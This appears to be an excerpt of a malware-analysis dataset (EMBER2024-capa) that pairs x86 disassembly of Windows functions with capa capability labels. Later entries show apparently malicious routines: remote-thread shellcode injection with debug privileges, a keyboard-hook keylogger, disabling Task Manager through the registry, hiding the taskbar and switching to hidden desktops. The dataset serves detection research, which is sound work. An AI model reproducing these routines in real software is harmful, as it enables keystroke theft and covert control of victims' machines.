joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101ed04
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword fs:[0x18]
push ebx
push esi
xor ebx, ebx
push 0x6a
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], ebx
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
mov byte [ebp - 1], bl
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
cmp eax, ebx
jne 0x101ed45
mov esi, 0xc0000017
jmp 0x101ee6e
test byte [ebp + 0xc], 1
push edi
je 0x101ed63
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0101ec76
mov esi, eax
cmp esi, ebx
jge 0x101eeb5
push ebx
push 0x18
lea eax, [ebp - 0x34]
push eax
push 7
call dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov esi, eax
cmp esi, ebx
jl 0x101ee57
mov dword [ebp + 0xc], ebx
cmp dword [ebp - 0x34], ebx
jbe 0x101ee52
push ebx
push dword [ebp + 0xc]
push 0x10201ac
push 0x35
push dword [ebp - 0x14]
call fcn.0100b9f5
add esp, 0x14
cmp dword [ebp - 8], ebx
je 0x101edbc
push dword [ebp - 8]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
mov dword [ebp - 8], ebx
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x14]
call fcn.0101f340
test eax, eax
jl 0x101ee3e
mov eax, dword [ebp - 8]
cmp dword [eax], 1
jne 0x101ee3e
mov dword [ebp - 0x1c], ebx
cmp dword [eax + 4], ebx
jbe 0x101ee3e
add eax, 0x48
push 4
pop ecx
mov edi, 0x1001560
lea esi, [eax + 8]
xor edx, edx
repe cmpsd dword [esi], dword es:[edi]
jne 0x101ee04
cmp byte [ebp - 1], bl
jne 0x101ee19
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax]
mov byte [ebp - 1], 1
mov dword [ebp - 0xc], ecx
inc dword [ebp - 0x1c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x1c]
add eax, 0x90
cmp edx, dword [ecx + 4]
jb 0x101eddf
jmp 0x101ee3e
lea eax, [ebp - 0x18]
push eax
call fcn.0101f7e0
test eax, eax
jl 0x101eeac
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x18]
call fcn.0101f228
test eax, eax
jl 0x101eeac
inc dword [ebp + 0xc]
mov eax, dword [ebp + 0xc]
cmp eax, dword [ebp - 0x34]
jb 0x101ed88
cmp byte [ebp - 1], bl
jne 0x101eeb3
mov esi, 0xc0000452
push dword [ebp - 0x14]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
pop edi
cmp dword [ebp - 8], ebx
je 0x101ee89
push dword [ebp - 8]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
cmp dword [ebp - 0x18], ebx
je 0x101eea4
push dword [ebp - 0x18]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
mov esi, 0xc0000451
jmp 0x101ee57
xor esi, esi
cmp dword [ebp + 8], ebx
jne 0x101eebd
mov dword [ebp - 0xc], ebx
push dword [ebp - 0xc]
mov edi, dword [ebp - 0x14]
push dword [ebp - 0x10]
push 0x10201ac
push 0x35
push edi
call fcn.0100b9f5
mov eax, dword [ebp + 0x10]
add esp, 0x14
mov dword [eax], edi
jmp 0x101ee6d
Function at 0x101ef74
Capabilities:
Get process heap flags
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x18]
push ebx
xor ebx, ebx
mov dword [eax], ebx
mov eax, dword [ebp + 0x1c]
push edi
push dword [ebp + 0xc]
mov dword [eax], ebx
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
cmp dword [ebp + 0x10], ebx
je 0x101efc2
lea eax, [ebp - 4]
push eax
push 0x20019
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.0101eefc
mov edi, eax
cmp edi, ebx
jl 0x101f087
jmp 0x101efc8
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.ntdll.dll_NtQueryValueKey]
lea eax, [ebp + 0xc]
push eax
push ebx
push ebx
push 2
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call esi
mov edi, eax
cmp edi, 0xc0000023
je 0x101effc
cmp edi, ebx
jl 0x101f086
mov edi, 0xc0000001
jmp 0x101f086
mov eax, dword fs:[0x18]
push dword [ebp + 0xc]
mov eax, dword [eax + 0x30]
push ebx
push dword [eax + 0x18]
mov ebx, dword [sym.imp.ntdll.dll_RtlAllocateHeap]
call ebx
mov dword [ebp - 8], eax
test eax, eax
je 0x101f067
lea ecx, [ebp - 0xc]
push ecx
push dword [ebp + 0xc]
push eax
push 2
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call esi
mov edi, eax
test edi, edi
jl 0x101f086
mov esi, dword [ebp - 8]
mov eax, dword [esi + 4]
cmp eax, dword [ebp + 0x14]
je 0x101f046
mov edi, 0xc0000024
jmp 0x101f086
sub dword [ebp + 0xc], 0xc
mov eax, dword fs:[0x18]
push dword [ebp + 0xc]
mov eax, dword [eax + 0x30]
xor edi, edi
push edi
push dword [eax + 0x18]
call ebx
mov ecx, dword [ebp + 0x18]
mov dword [ecx], eax
cmp eax, edi
jne 0x101f06e
mov edi, 0xc000009a
jmp 0x101f086
push dword [ebp + 0xc]
add esi, 0xc
push esi
push eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x1c]
add esp, 0xc
mov dword [ecx], eax
pop esi
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 8]
je 0x101f096
push eax
call dword [sym.imp.ntdll.dll_NtClose]
cmp dword [ebp - 8], 0
je 0x101f0b3
push dword [ebp - 8]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push 0
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, edi
pop edi
pop ebx
leave
ret 0x18
Function at 0x101f0c0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
push dword [ebp + 8]
mov edi, dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea eax, [ebp - 0x18]
xor esi, esi
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
call edi
mov ebx, dword [sym.imp.ntdll.dll_NtOpenSymbolicLinkObject]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x30]
push eax
push 1
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x30], 0x18
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], 0x40
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
call ebx
cmp eax, esi
jl 0x101f21b
push esi
lea eax, [ebp - 0x10]
push eax
call edi
xor edi, edi
mov dword [ebp - 8], esi
jmp 0x101f167
cmp dword [ebp - 0xc], esi
je 0x101f142
push dword [ebp - 0xc]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push esi
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, dword [ebp - 8]
lea edi, [eax + 2]
mov word [ebp - 0xe], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push edi
push esi
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov dword [ebp - 0xc], eax
cmp eax, esi
je 0x101f1e0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_NtQuerySymbolicLinkObject]
mov dword [ebp + 8], eax
cmp eax, 0xc0000023
je 0x101f127
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_NtClose]
cmp dword [ebp + 8], esi
mov dword [ebp - 4], esi
jl 0x101f1fd
movzx eax, word [ebp - 0x10]
mov edx, dword [ebp - 0xc]
shr eax, 1
xor ecx, ecx
mov word [edx + eax*2], cx
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x30]
push eax
push 1
lea eax, [ebp - 4]
push eax
mov word [ebp - 0xe], di
mov dword [ebp - 0x30], 0x18
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], 0x40
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
call ebx
test eax, eax
jge 0x101f167
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
mov dword [ebp + 8], esi
jmp 0x101f1e7
mov dword [ebp + 8], 0xc000009a
cmp dword [ebp - 4], esi
je 0x101f1f8
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_NtClose]
mov dword [ebp - 4], esi
cmp dword [ebp + 8], esi
jge 0x101f218
cmp dword [ebp - 0xc], esi
je 0x101f218
push dword [ebp - 0xc]
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push esi
push dword [eax + 0x18]
call dword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x101f965
Capabilities:
Read .ini file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.0100b910
mov eax, dword [0x1023018]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x2008], 0
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x14]
test edi, edi
jne 0x101f9a4
and dword [ebp - 0x2008], edi
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x101fac6
push esi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x2004]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push edi
push esi
lea eax, [ebp - 0x2004]
push eax
push 0x1008c08
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionW]
cmp eax, 0xffe
jne 0x101f9eb
and dword [ebp - 0x2008], 0
push 0x6f
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x101fac5
xor eax, eax
xor ecx, ecx
lea esi, [ebp - 0x2004]
cmp word [ebp + ecx*2 - 0x2004], ax
jne 0x101fa0d
cmp word [ebp + ecx*2 - 0x2002], ax
je 0x101fac5
cmp ecx, 0xfff
jae 0x101fac5
cmp word [esi], ax
jne 0x101fa21
inc esi
inc esi
inc ecx
mov edi, esi
jmp 0x101fa28
inc esi
inc esi
inc ecx
cmp word [esi], ax
jne 0x101fa25
cmp ebx, eax
je 0x101fa3c
mov edx, dword [ebp - 0x2008]
cmp edx, dword [ebp + 8]
je 0x101fa48
cmp edi, esi
je 0x101f9f5
inc dword [ebp - 0x2008]
jmp 0x101f9f5
push 0x3d
push edi
call sub.msvcrt.dll_wcschr
pop ecx
pop ecx
mov dword [ebp - 0x200c], eax
test eax, eax
je 0x101fa5e
mov esi, eax
sub esi, edi
sar esi, 1
cmp esi, dword [ebp + 0x10]
jb 0x101fa6b
push 0x7a
jmp 0x101fab8
push esi
push edi
push dword [ebp + 0x10]
push ebx
call fcn.0101947b
push 2
xor eax, eax
push ebx
mov word [ebx + esi*2], ax
call fcn.01019413
movzx eax, ax
test eax, eax
je 0x101fab1
cmp eax, 0x7f
je 0x101fab1
mov eax, dword [ebp - 0x200c]
test eax, eax
je 0x101fac5
add eax, 2
push eax
call sub.msvcrt.dll__wtoi
or eax, 0x10000000
pop ecx
mov dword [ebp - 0x2008], eax
jmp 0x101fac5
xor eax, eax
mov word [ebx], ax
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
and dword [ebp - 0x2008], 0
pop esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2008]
pop edi
xor ecx, ebp
pop ebx
call fcn.0100b8d5
leave
ret 0x10
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x479004]
jne 0x40100a
repz ret
jmp fcn.00401653

Function at 0x4041db
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x479004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402c7c
and dword [ebp - 0x14], 0
cmp dword [0x47b270], 0
mov dword [ebp - 0x18], eax
jne 0x40428e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404336
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404336
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x47b270], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x47b274], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x47b278], eax
call edi
push eax
call esi
mov dword [0x47b280], eax
test eax, eax
je 0x40428e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x47b27c], eax
mov eax, dword [0x47b27c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4042e7
cmp dword [0x47b280], ecx
je 0x4042e7
push eax
call esi
push dword [0x47b280]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4042e7
test ebx, ebx
je 0x4042e7
call edi
test eax, eax
je 0x4042de
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4042de
test byte [ebp - 8], 1
jne 0x4042e7
or dword [ebp + 0x10], 0x200000
jmp 0x40431a
mov eax, dword [0x47b274]
cmp eax, dword [ebp - 0x18]
je 0x40431a
push eax
call esi
test eax, eax
je 0x40431a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40431a
mov eax, dword [0x47b278]
cmp eax, dword [ebp - 0x18]
je 0x40431a
push eax
call esi
test eax, eax
je 0x40431a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x47b270]
call esi
test eax, eax
je 0x404336
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404338
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret

Function at 0x471dc8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push dword [0x47cb1c]
push dword [0x47c968]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
leave
ret
Function at 0x471ece
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp ebx, 0x19f
jne 0x471ee2
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push edi
xor edi, edi
test ebx, ebx
jle 0x471f05
push esi
and dword [ebp - 4], 0
lea esi, [ebp - 4]
call fcn.00471ec3
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 4]
xor byte [eax + edi], cl
inc edi
cmp edi, ebx
jl 0x471eea
pop esi
pop edi
cmp ebx, 0x2d
jne 0x471f1c
or dword [0x47cc54], 0xffffffff
mov dword [0x47cc50], 0xa62e7790
leave
ret
Function at 0x10001ba0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0
push 1
push str.SeDebugPrivilege
call fcn.10001020
add esp, 8
cmp dword [0x10008dcc], 0
je 0x10001be3
cmp dword [0x10008dc4], 0
jne 0x10001bea
xor eax, eax
jmp 0x10001d82
mov eax, dword [0x10008dc8]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x10001c0d
xor eax, eax
jmp 0x10001d82
mov ecx, 0x10001dc0
sub ecx, 0x10001d90
mov dword [ebp - 4], ecx
push 0x40
push 0x1000
mov edx, dword [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10001c4c
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10001d82
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 4]
push eax
push 0x10001d90
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001c73
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 4]
je 0x10001c99
push 0x8000
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10001d82
lea ecx, [ebp - 0xc]
push ecx
push 0
mov edx, dword [0x10008dcc]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10001cc3
jmp 0x10001d3b
push 0xffffffffffffffff
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0x10], 0
jne 0x10001ce5
jmp 0x10001d3b
cmp dword [0x10008dcc], 0
je 0x10001d06
push 0x8000
push 0
mov edx, dword [0x10008dcc]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [0x10008dc4], 0
je 0x10001d27
push 0x8000
push 0
mov ecx, dword [0x10008dc4]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [0x10008dcc], 0
mov dword [0x10008dc4], 0
cmp dword [ebp - 8], 0
je 0x10001d4b
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x14], 0
je 0x10001d66
push 0x8000
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push str.SeDebugPrivilege
call fcn.10001020
add esp, 8
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x10001fb0
Capabilities:
Find taskbar

Disassembly:
push esi
push 0x130
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
test esi, esi
jne 0x10001fd2
pop esi
ret
mov eax, dword [esp + 8]
neg eax
sbb eax, eax
and eax, 5
push eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
pop esi
ret

Function at 0x10002000
Capabilities:
Find taskbar

Disassembly:
push esi
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
jne 0x10002016
pop esi
ret
mov eax, dword [esp + 8]
neg eax
sbb eax, eax
and eax, 5
push eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
pop esi
ret

Function at 0x10002040
Capabilities:
Find taskbar

Disassembly:
push esi
push 0x12f
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
push 0x12f
push eax
call esi
mov esi, eax
test esi, esi
jne 0x1000206c
pop esi
ret
mov eax, dword [esp + 8]
neg eax
sbb eax, eax
and eax, 5
push eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
pop esi
ret

Function at 0x100021d0
Capabilities:
Log keystrokes via application hook

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x10002200
mov eax, dword [0x10008db8]
test eax, eax
jne 0x10002217
mov eax, dword [0x10008dc0]
push 0
push eax
push 0x10002130
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [0x10008db8], eax
jne 0x10002217
ret
mov ecx, dword [0x10008db8]
push ecx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov dword [0x10008db8], 0
mov eax, 1
ret

Function at 0x10002220
Capabilities:
Delete registry value
Disable system features via registry on windows
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x1000225b
lea ecx, [esp]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1000225b
xor eax, eax
add esp, 8
ret
mov eax, dword [esp + 0xc]
push esi
test eax, eax
je 0x10002276
mov edx, dword [esp + 4]
push str.DisableTaskMgr
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x10002299
mov ecx, dword [esp + 4]
lea eax, [esp + 8]
push 4
push eax
push 4
push 0
push str.DisableTaskMgr
push ecx
mov dword [esp + 0x20], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 4]
mov esi, eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
add esp, 8
ret
Function at 0x10002300
Capabilities:
Create thread

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push esi
push eax
push 0
push ecx
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
jne 0x10002324
pop esi
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret

Function at 0x10002340
Capabilities:
Switch active desktop

Disassembly:
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push 0x100
push 0
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov edi, dword [esp + 0x18]
push 0
push 0x10000000
mov ebp, eax
push 0
push 0
lea eax, [edi + 4]
push 0
push eax
call dword [sym.imp.USER32.dll_CreateDesktopA]
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push esi
call dword [sym.imp.USER32.dll_SwitchDesktop]
mov ecx, dword [esp + 0x14]
push edi
push ecx
mov dword [edi], esi
call fcn.10002300
add esp, 8
push ebp
call dword [sym.imp.USER32.dll_SwitchDesktop]
push ebx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push esi
call dword [sym.imp.USER32.dll_CloseDesktop]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x100023c0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x5c]
lea ecx, [esp + 4]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], eax
xor eax, eax
lea edx, [esp + 0x14]
mov dword [esp + 4], eax
push ecx
mov dword [esp + 0xc], eax
push edx
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], 0x44
push eax
push eax
push eax
push eax
push eax
mov dword [esp + 0x2c], eax
push eax
mov eax, dword [esp + 0x80]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
jne 0x10002420
add esp, 0x54
ret
mov ecx, dword [esp]
push esi
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 8]
push eax
call esi
mov eax, 1
pop esi
add esp, 0x54
ret

Function at 0x10002450
Capabilities:
Switch active desktop

Disassembly:
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push 0x100
push 0
push 0
mov edi, eax
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov ebp, dword [esp + 0x14]
push 0
push 0x10000000
push 0
push 0
push 0
push ebp
mov ebx, eax
call dword [sym.imp.USER32.dll_CreateDesktopA]
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push esi
call dword [sym.imp.USER32.dll_SwitchDesktop]
mov eax, dword [esp + 0x18]
push eax
push ebp
call fcn.100023c0
add esp, 8
push ebx
call dword [sym.imp.USER32.dll_SwitchDesktop]
push edi
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push esi
call dword [sym.imp.USER32.dll_CloseDesktop]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x10003ed1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x10008500
cmp edx, dword [eax]
je 0x10003ef3
add eax, 8
inc ecx
cmp eax, 0x10008590
jl 0x10003ee4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x10008500]
jne 0x10004021
mov eax, dword [0x10008a70]
cmp eax, 1
je 0x10003ffb
test eax, eax
jne 0x10003f24
cmp dword [0x10008a74], 1
je 0x10003ffb
cmp edx, 0xfc
je 0x10004021
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10003f5b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.10004490
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.10004580
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x10003f9e
lea eax, [ebp - 0x1a4]
push eax
call fcn.10004580
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x10006468
push edi
call fcn.10004db0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.10004490
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.100044a0
lea eax, [ebp - 0xa0]
push 0x10006448
push eax
call fcn.100044a0
push dword [esi + 0x10008504]
lea eax, [ebp - 0xa0]
push eax
call fcn.100044a0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.10004d25
add esp, 0x2c
pop edi
jmp 0x10004021
lea eax, [ebp + 8]
lea esi, [esi + 0x10008504]
push 0
push eax
push dword [esi]
call fcn.10004580
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret